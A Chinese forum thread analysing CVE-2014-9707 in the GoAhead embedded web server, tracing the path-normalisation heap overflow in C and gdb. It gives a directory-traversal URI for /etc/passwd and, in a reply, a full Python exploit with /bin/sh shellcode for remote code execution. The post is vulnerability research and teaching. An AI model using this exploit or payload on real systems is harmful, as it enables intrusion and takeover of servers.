吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 32792|回复: 46
收起左侧

[漏洞分析] CVE-2014-9707分析以及exp构造

  [复制链接]
ench4nt3r 发表于 2016-7-11 12:42
本帖最后由 ench4nt3r 于 2016-7-11 12:48 编辑

0x00 介绍
Embedthis Software GoAhead是美国Embedthis Software公司的一款嵌入式Web服务器。
Embedthis Software GoAhead 3.0.0版本至3.4.1版本中存在安全漏洞,该漏洞源于程序没有正确处理以‘.’字符开始的路径部分。远程攻击者可借助特制的URI利用该漏洞实施目录遍历攻击,造成拒绝服务(基于堆的缓冲区溢出和崩溃),也可能执行任意代码。[1]


0x01 环境
Ubuntu 15.10(I686,关闭ASLR、NX)
Goahead 3.4.1
Glibc 2.19


0x02 漏洞产生分析
瞧瞧代码
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
for (mark = sp = dupPath; *sp; sp++) {
    if (*sp == '/') {
        *sp = '\0';
        while (sp[1] == '/') {
            sp++;
        }
        segments[nseg++] = mark;
        len += (int) (sp - mark);
        mark = sp + 1;
    }
}
segments[nseg++] = mark;
len += (int) (sp - mark);

在函数websNormalizeUriPath中,第一个for代码块,会将URI以’/‘分割,放入数组,并且统计URI字符串长度(不包括’/‘)。
来,让我们举个栗子看下。

websNormalizeUriPath收到了一个字符串参数,内容是”/hello/./world/.x”。第一个for君勤勤恳恳地工作,将字符串以’/‘分割并且统计好长度。此时各个变量的内容是这样的:
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
segments[0]: '\0'
 
segments[1]: 'hello'
 
segments[2]: '.'
 
segments[3]: 'world'
 
segments[4]: '.x'
 
segments[5] : '\0'
 
len: 13
 
nseg : 5

现在来到了最重要的时刻,第二个for君要上场工作了。先看下它长啥样。
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
for (j = i = 0; i < nseg; i++, j++) {
    sp = segments[i];
    if (sp[0] == '.') {
        if (sp[1] == '\0')  {
            if ((i+1) == nseg) {
                segments[j] = "";
            } else {
                j--;
            }
        } else if (sp[1] == '.' && sp[2] == '\0')  {
            if (i == 1 && *segments[0] == '\0') {
                j = 0;
            } else if ((i+1) == nseg) {
                if (--j >= 0) {
                    segments[j] = "";
                }
            } else {
                j = max(j - 2, -1);
            }
        }
    } else {
        segments[j] = segments[i];
    }
}

segments同时肩负输入和输出的重任,i控制输入流的偏移,j控制输出流的偏移。
此时有两种情况处理,当sp为 ‘.’ 时,做一些操作。当sp不为 ‘.’ 时,直接将输入复制到输出。
仔细瞧瞧当sp为’.’时的处理,它做了以下的动作:
  • 当下一个字符为0时,如果输出流到了末尾时((i+1) == nseg),直接复制空字符串到输出流。否则输出流不变(j–,在for的循环表达式中j++,以保持不变)
  • 当下一个字符为 ‘.’ 并且sp[2]为0时,也就是sp为 “..”时。做*操作。(这里不讲了,不是重点。)
  • 重点来了,如果sp不是上面两种情况,将会啥都不做,比如sp为”.x”的话,那么它啥也不做,并且在for的循环表达式中将i跟j自增。
继续举个栗子瞧瞧:
还是以上面的字符串为例“/hello/./world/.x”
  • ‘hello’直接从输入复制到输出
  • ‘.’,j - 1。以保持不变
  • ‘world’,将输入复制到输出。注意,在第2步中因为j不变,所以j现在是2,也就是’.’的位置。
  • ‘.x’,啥也不做,i++,j++。
  • 到这里已经结束了,nseg为5,现在i也是5了,j为4
看看调整后segments的内容:
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
segments[0]: '\0'                // 长度 0
 
segments[1]: 'hello'               // 长度 5
 
segments[2]: 'world'            // 长度 5
 
segments[3]: 'world'            // 长度 5
 
segments[4]: '.x'                // 长度 2
 
segments[5] : '\0'

继续往下走
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
nseg = j;
assert(nseg >= 0);
if ((path = walloc(len + nseg + 1)) != 0) {
    for (i = 0, dp = path; i < nseg; ) {
        strcpy(dp, segments[i]);
        len = (int) slen(segments[i]);
        dp += len;
        if (++i < nseg || (nseg == 1 && *segments[0] == '\0' && firstc == '/')) {
            *dp++ = '/';
        }
    }
    *dp = '\0';
}

len使用的还是分割时计算的(13)。nseg被改成了j(4)。
看看上面调整后segments内字符串的长度:0 + 5 + 5 + 5 = 15。(nseg为4)
path new时的长度是13 + 4 + 1 (len + nseg + 1),而复制到path的字符串长度将是15 + 3 + 1。
很明显,在这发生了溢出。只要稍微构造一下就能触发unlink了。
漏洞分析完毕。

0x03 目录遍历
来,我们准备了这么一个字符串”/../../../../../.x/.x/.x/.x/.x/.x/etc/passwd”,在第二个for君的处理中,遇到”..”并且没到末尾的话,会将j-1,或者置0。
在处理了一连串的”..”之后,遇到了”.x”,我们知道它只会将i、j加1。看看处理完之后的segments吧
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
(gdb) p segments[0]
$9 = 0x8055a30 ""
(gdb) p segments[1]
$10 = 0x8055a31 ".."
(gdb) p segments[2]
$11 = 0x8055a34 ".."
(gdb) p segments[3]
$12 = 0x8055a37 ".."
(gdb) p segments[4]
$13 = 0x8055a3a ".."
(gdb) p segments[5]
$14 = 0x8055a3d ".."
(gdb) p segments[6]
$15 = 0x8055a52 "etc"
(gdb) p segments[7]
$16 = 0x8055a56 "passwd"
(gdb) p segments[8]
$17 = 0x8055a46 ".x"
 
(gdb) p nseg
$23 = 8

详情请看参考[2]的Directory traversal

0x04 远程命令执行
当执行到wfree(dupPath);的时候,内存布局大概如下:

path是能通过url控制的区域,只要溢出并且覆盖top的size(重点是覆盖点p位,置为0),这样的话,当free(segments)时,就会判断path是否为空闲,由于前面被我们将top的p位置为0,所以此时会unlink(path)。通过在path准备点蛋糕,就可以让shellcode执行了。
蛋糕打造过程:
因为glibc 2.19在unlink判断了fd和bk,所以想要直接通过fd和bk来覆盖函数地址是不可能了。
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#define unlink(P, BK, FD) {                                            \
    FD = P->fd;                                      \
    BK = P->bk;                                      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
          malloc_printerr (check_action, "corrupted double-linked list", P);      \
    else {                                      \
        FD->bk = BK;                                  \
        BK->fd = FD;                                  \
        if (!in_smallbin_range (P->size)                      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {              \
            assert (P->fd_nextsize->bk_nextsize == P);                  \
            assert (P->bk_nextsize->fd_nextsize == P);                  \
            if (FD->fd_nextsize == NULL) {                      \
                if (P->fd_nextsize == P)                      \
                      FD->fd_nextsize = FD->bk_nextsize = FD;              \
                else {                                  \
                    FD->fd_nextsize = P->fd_nextsize;                  \
                    FD->bk_nextsize = P->bk_nextsize;                  \
                    P->fd_nextsize->bk_nextsize = FD;                  \
                    P->bk_nextsize->fd_nextsize = FD;                  \
                  }                                  \
              } else {                                  \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;              \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;              \
          }                                      \
      }                                      \
  }                                          \
}

glibc 2.19的unlink如上。

从代码可以看出,Relase模式下,是对fd_nextsize和bk_nextsize没有进行判断的,但是fd_nextsize和bk_nextsize是在large blocks才有的,所以需要构造一个大于512字节(32位系统)的块。
我构造的path:

当segments被释放时,path会被认为是已经释放了的块,所以会触发consolIDAte forward。
fd和bk都指向path的地址,以通过”corrupted double-linked list”检查。

exp执行结果:


0x05 参考
[1]SCAP中文社区
[2]Advisory: CVE-2014-9707
[3]Understanding glibc malloc
[4]EXP


点评

文中有一图片显示异常,如果可以补图,请安特或者短信息通知我一下,谢谢  发表于 2017-3-13 20:36

免费评分

参与人数 17热心值 +17 收起 理由
helloqtpurr + 1 用心讨论,共获提升!
枯凡 + 1 我很赞同!
水孩子 + 1 谢谢@Thanks!
changjiang + 1 我很赞同!
photor + 1 谢谢@Thanks!
charm1y + 1 热心回复!
楚燕离 + 1 用心讨论,共获提升!
卷卷de小白 + 1 热心回复!
Lnairan + 1 谢谢@Thanks!
yedemon + 1 厉害``
tong_wen2504 + 1 热心回复!
wnagzihxain + 1
liefeng44 + 1 谢谢@Thanks!
LOVE_TT + 1 很厉害 看不懂
Three_fish + 1 谢谢@Thanks!
苏紫方璇 + 1 我很赞同!
慕容影 + 1 刚注册就来篇精华 支持

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| ench4nt3r 发表于 2016-7-11 12:50
编辑了几次,外链似乎都失效了。
exp如下:
[Python] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
 
 
def hex2url(i):
    array = format(i, 'X')
    if len(array) % 2 != 0:
        array = '0' + array
    ret = ''.join('%' + array[i-2:i] for i in xrange(len(array), 0, -2))
    return ret
 
 
def fake(chunk_addr):
    print(hex(chunk_addr))
    chunk = int(hex(chunk_addr)[0:8], 16) + 1
    print(chunk)
    fake_fd = hex(chunk)
    fake_chunk_addr = int(fake_fd + '2f', 16)
    fake_bk = fake_chunk_addr - 8
 
    return fake_chunk_addr, int(fake_fd, 16), fake_bk
 
 
def make_fake_chunk(chunk_addr):
    chunk = (chunk_addr & ~0xff) + 0x12f
    fd = int(format(chunk, '08X')[:6], 16)
    bk = chunk
    return fd, bk, chunk
 
 
pro = remote('localhost', 80)
 
chunk = 0x8057840
 
fd, bk, fake_chunk = make_fake_chunk(chunk)
print(hex(fd), hex(bk), hex(fake_chunk))
 
shellcode = '%eb%16%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90'
shellcode += "%eb%19%5e%31%d2%89%56%07%52%56%89%e1%89%f3%31%c0%b0%0b%cd"
shellcode += "%80%31%db%31%c0%40%cd%80%e8%e2%ff%ff%ff%2f%62%69"
shellcode += "%6e%2f%73%68"
 
 
shellcode_addr = fake_chunk + 4 * 4
 
offset = 0
 
exp = 'GET /'
exp += hex2url(fd)                 # fd
exp += hex2url(bk)                 # bk
exp += hex2url(0xbffff2ac - 20)    # fd_next, stack
exp += hex2url(shellcode_addr)     # bk_next
 
pad = fake_chunk - chunk - 16
print('pad:{0}'.format(pad))
 
# fake chunk
exp += 'A' * (fake_chunk - chunk - 16)
exp += hex2url(0x01020304)   # prev_size
exp += hex2url(0x01020304)   # size
exp += hex2url(chunk - 8)    # fd
exp += hex2url(chunk - 8)    # bk
 
exp += shellcode
 
print('--{}'.format(1024 - (fake_chunk - chunk) - 16 - len(shellcode)/3))
 
exp += '/./'
exp += hex2url(2) * 50
exp += 'A' * (1024 - (fake_chunk - chunk) - 16 - len(shellcode) / 3 - 50)
exp += '/.x'
exp += ' HTTP/1.0\r\n\r\n'
 
print(len(exp))
print(exp)
pro.send(exp)

点评

初级会员无法使用超链接,可以直接贴地址即可,升级后就可以使用了。  详情 回复 发表于 2016-7-11 16:42
Hmily 发表于 2016-7-11 16:42
ench4nt3r 发表于 2016-7-11 12:50
编辑了几次,外链似乎都失效了。
exp如下:
[mw_shl_code=python,true]#!/usr/bin/env python

初级会员无法使用超链接,可以直接贴地址即可,升级后就可以使用了。
howsk 发表于 2016-7-11 16:56
头像被屏蔽
慕容影 发表于 2016-7-11 17:31
第一次坐精华板凳
苏紫方璇 发表于 2016-7-11 17:37
虽然看不大明白,但是支持了。
KaQqi 发表于 2016-7-11 20:15
先收藏了。在钻研,可惜python编程我不太精通
 楼主| ench4nt3r 发表于 2016-7-11 22:34
cqr2287 发表于 2016-7-11 20:15
先收藏了。在钻研,可惜python编程我不太精通

python我也只是看了官方文档而已,exp里面的代码都很容易看懂
wsxqaz13245 发表于 2016-7-12 09:17
感谢楼主分享
gaohongye 发表于 2016-7-12 09:32
你...你是申请过来的吧,H大通过了,然后整理一下再发出来,可以这很精华
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-4-9 05:32

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表